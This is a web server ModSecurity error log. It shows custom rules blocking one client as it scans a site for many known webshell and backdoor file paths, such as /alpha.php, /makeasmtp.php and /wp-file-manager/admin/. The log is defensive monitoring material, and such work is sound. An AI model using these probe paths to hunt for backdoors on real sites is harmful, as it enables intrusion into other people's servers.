[Fri Apr 17 03:50:34.760316 2026] [:error] [pid 9263:tid 9289] [client 20.166.31.184:21308] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeE9ihP68VyHNvj1e56CagAAANg"]
[Fri Apr 17 03:50:35.352742 2026] [:error] [pid 9263:tid 9283] [client 20.166.31.184:29450] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeE9ixP68VyHNvj1e56CbAAAANI"]
[Fri Apr 17 03:50:35.988033 2026] [:error] [pid 9263:tid 9269] [client 20.166.31.184:23876] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aeE9ixP68VyHNvj1e56CcAAAAMQ"]
[Fri Apr 17 03:50:36.625622 2026] [:error] [pid 9153:tid 9235] [client 20.166.31.184:29071] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aeE9jOMHGxkTZX3c45en_AAAAJE"]
[Fri Apr 17 03:50:37.380564 2026] [:error] [pid 9153:tid 9218] [client 20.166.31.184:21309] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aeE9jeMHGxkTZX3c45eoAgAAAIA"]
[Fri Apr 17 03:50:37.983273 2026] [:error] [pid 9263:tid 9265] [client 20.166.31.184:19229] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aeE9jRP68VyHNvj1e56CdwAAAMA"]
[Fri Apr 17 03:50:38.518597 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:32698] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aeE9jhP68VyHNvj1e56CewAAAMI"]
[Fri Apr 17 03:50:39.076311 2026] [:error] [pid 9153:tid 9233] [client 20.166.31.184:32701] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aeE9j-MHGxkTZX3c45eoDQAAAI8"]
[Fri Apr 17 03:50:39.635332 2026] [:error] [pid 9153:tid 9228] [client 20.166.31.184:32712] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aeE9j-MHGxkTZX3c45eoEAAAAIo"]
[Fri Apr 17 03:50:40.212193 2026] [:error] [pid 9263:tid 9285] [client 20.166.31.184:29093] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aeE9kBP68VyHNvj1e56CfgAAANQ"]
[Fri Apr 17 03:50:40.768014 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:35747] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aeE9kBP68VyHNvj1e56CgQAAAM0"]
[Fri Apr 17 03:50:41.455420 2026] [:error] [pid 9263:tid 9286] [client 20.166.31.184:32753] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aeE9kRP68VyHNvj1e56ChQAAANU"]
[Fri Apr 17 03:50:42.107355 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:32756] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aeE9khP68VyHNvj1e56CjAAAANM"]
[Fri Apr 17 03:50:42.815884 2026] [:error] [pid 9153:tid 9235] [client 20.166.31.184:21299] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aeE9kuMHGxkTZX3c45eoGwAAAJE"]
[Fri Apr 17 03:50:43.433645 2026] [:error] [pid 9153:tid 9223] [client 20.166.31.184:35861] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aeE9k-MHGxkTZX3c45eoJAAAAIU"]
[Fri Apr 17 03:50:43.975408 2026] [:error] [pid 9263:tid 9273] [client 20.166.31.184:29116] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aeE9kxP68VyHNvj1e56CkgAAAMg"]
[Fri Apr 17 03:50:44.568308 2026] [:error] [pid 9151:tid 9184] [client 20.166.31.184:32755] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aeE9lMhTVuRPkua22vReZAAAABc"]
[Fri Apr 17 03:50:45.177060 2026] [:error] [pid 9151:tid 9185] [client 20.166.31.184:29491] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aeE9lchTVuRPkua22vReagAAABg"]
[Fri Apr 17 03:50:54.138071 2026] [:error] [pid 9263:tid 9277] [client 20.166.31.184:32677] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeE9nhP68VyHNvj1e56C0wAAAMw"]
[Fri Apr 17 03:50:54.671420 2026] [:error] [pid 9151:tid 9163] [client 20.166.31.184:26267] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeE9nshTVuRPkua22vReiQAAAAI"]
[Fri Apr 17 03:50:55.310789 2026] [:error] [pid 9151:tid 9178] [client 20.166.31.184:15642] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeE9n8hTVuRPkua22vReiwAAABE"]
[Fri Apr 17 03:50:55.922100 2026] [:error] [pid 9151:tid 9169] [client 20.166.31.184:26245] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeE9n8hTVuRPkua22vRejQAAAAg"]
[Fri Apr 17 03:50:56.467324 2026] [:error] [pid 9153:tid 9240] [client 20.166.31.184:24003] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aeE9oOMHGxkTZX3c45eoNwAAAJY"]
[Fri Apr 17 03:50:57.025014 2026] [:error] [pid 9152:tid 9210] [client 20.166.31.184:35865] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aeE9oZJYca8I3TNCwIfIrQAAAFQ"]
[Fri Apr 17 03:50:57.536121 2026] [:error] [pid 9151:tid 9162] [client 20.166.31.184:15676] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aeE9ochTVuRPkua22vRejwAAAAE"]
[Fri Apr 17 03:50:58.122825 2026] [:error] [pid 9152:tid 9214] [client 20.166.31.184:29474] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aeE9opJYca8I3TNCwIfIsAAAAFg"]
[Fri Apr 17 03:50:58.662484 2026] [:error] [pid 9151:tid 9180] [client 20.166.31.184:24031] [client 20.166.31.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeE9oshTVuRPkua22vRekgAAABM"]
[Fri Apr 17 03:50:59.198755 2026] [:error] [pid 9151:tid 9170] [client 20.166.31.184:32682] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeE9o8hTVuRPkua22vRekwAAAAk"]
[Fri Apr 17 03:50:59.762053 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:38337] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeE9oxP68VyHNvj1e56C6QAAANM"]
[Fri Apr 17 03:51:00.289929 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:38379] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeE9pBP68VyHNvj1e56C7QAAAMI"]
[Fri Apr 17 03:51:00.844148 2026] [:error] [pid 9153:tid 9233] [client 20.166.31.184:38348] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeE9pOMHGxkTZX3c45eoQAAAAI8"]
[Fri Apr 17 03:51:01.371988 2026] [:error] [pid 9153:tid 9226] [client 20.166.31.184:24024] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeE9peMHGxkTZX3c45eoQgAAAIg"]
[Fri Apr 17 03:51:01.896298 2026] [:error] [pid 9153:tid 9231] [client 20.166.31.184:29475] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeE9peMHGxkTZX3c45eoQwAAAI0"]
[Fri Apr 17 03:51:02.584225 2026] [:error] [pid 9153:tid 9223] [client 20.166.31.184:32714] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeE9puMHGxkTZX3c45eoRgAAAIU"]
[Fri Apr 17 03:51:03.202137 2026] [:error] [pid 9153:tid 9220] [client 20.166.31.184:21267] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeE9p-MHGxkTZX3c45eoSAAAAII"]
[Fri Apr 17 03:51:03.755954 2026] [:error] [pid 9153:tid 9242] [client 20.166.31.184:32714] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeE9p-MHGxkTZX3c45eoSwAAAJg"]
[Fri Apr 17 03:51:04.440727 2026] [:error] [pid 9152:tid 9196] [client 20.166.31.184:35843] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeE9qJJYca8I3TNCwIfIuQAAAEY"]
[Fri Apr 17 03:51:05.086884 2026] [:error] [pid 9153:tid 9218] [client 20.166.31.184:25994] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeE9qeMHGxkTZX3c45eoTgAAAIA"]
[Fri Apr 17 03:51:05.602135 2026] [:error] [pid 9263:tid 9281] [client 20.166.31.184:38568] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeE9qRP68VyHNvj1e56C-AAAANA"]
[Fri Apr 17 03:51:06.205812 2026] [:error] [pid 9152:tid 9208] [client 20.166.31.184:29473] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeE9qpJYca8I3TNCwIfIwAAAAFI"]
[Fri Apr 17 03:51:06.767973 2026] [:error] [pid 9151:tid 9179] [client 20.166.31.184:35854] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeE9qshTVuRPkua22vRelwAAABI"]
[Fri Apr 17 03:51:07.363995 2026] [:error] [pid 9152:tid 9207] [client 20.166.31.184:35900] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeE9q5JYca8I3TNCwIfIwgAAAFE"]
[Fri Apr 17 03:51:08.037610 2026] [:error] [pid 9151:tid 9169] [client 20.166.31.184:38581] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeE9rMhTVuRPkua22vRemwAAAAg"]
[Fri Apr 17 03:51:08.561282 2026] [:error] [pid 9151:tid 9181] [client 20.166.31.184:24044] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeE9rMhTVuRPkua22vRengAAABQ"]
[Fri Apr 17 03:51:09.130936 2026] [:error] [pid 9151:tid 9174] [client 20.166.31.184:32734] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeE9rchTVuRPkua22vRepAAAAA0"]
[Fri Apr 17 03:51:09.648066 2026] [:error] [pid 9263:tid 9276] [client 20.166.31.184:29081] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeE9rRP68VyHNvj1e56DAQAAAMs"]
[Fri Apr 17 03:51:10.206961 2026] [:error] [pid 9153:tid 9231] [client 20.166.31.184:24025] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeE9ruMHGxkTZX3c45eoVgAAAI0"]
[Fri Apr 17 03:51:10.717898 2026] [:error] [pid 9153:tid 9235] [client 20.166.31.184:23914] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aeE9ruMHGxkTZX3c45eoWgAAAJE"]
[Fri Apr 17 03:51:11.570092 2026] [:error] [pid 9152:tid 9197] [client 20.166.31.184:20926] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aeE9r5JYca8I3TNCwIfIzAAAAEc"]
[Fri Apr 17 03:51:12.168425 2026] [:error] [pid 9151:tid 9180] [client 20.166.31.184:38378] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aeE9sMhTVuRPkua22vRerAAAABM"]
[Fri Apr 17 03:51:12.750712 2026] [:error] [pid 9152:tid 9193] [client 20.166.31.184:29100] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aeE9sJJYca8I3TNCwIfI0QAAAEM"]
[Fri Apr 17 03:51:13.325102 2026] [:error] [pid 9263:tid 9286] [client 20.166.31.184:35889] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeE9sRP68VyHNvj1e56DBAAAANU"]
[Fri Apr 17 03:51:13.871630 2026] [:error] [pid 9153:tid 9220] [client 20.166.31.184:23919] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeE9seMHGxkTZX3c45eoWwAAAII"]
[Fri Apr 17 03:51:14.453289 2026] [:error] [pid 9153:tid 9239] [client 20.166.31.184:24063] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeE9suMHGxkTZX3c45eoXwAAAJU"]
[Fri Apr 17 03:51:14.998694 2026] [:error] [pid 9151:tid 9162] [client 20.166.31.184:26250] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeE9sshTVuRPkua22vRevwAAAAE"]
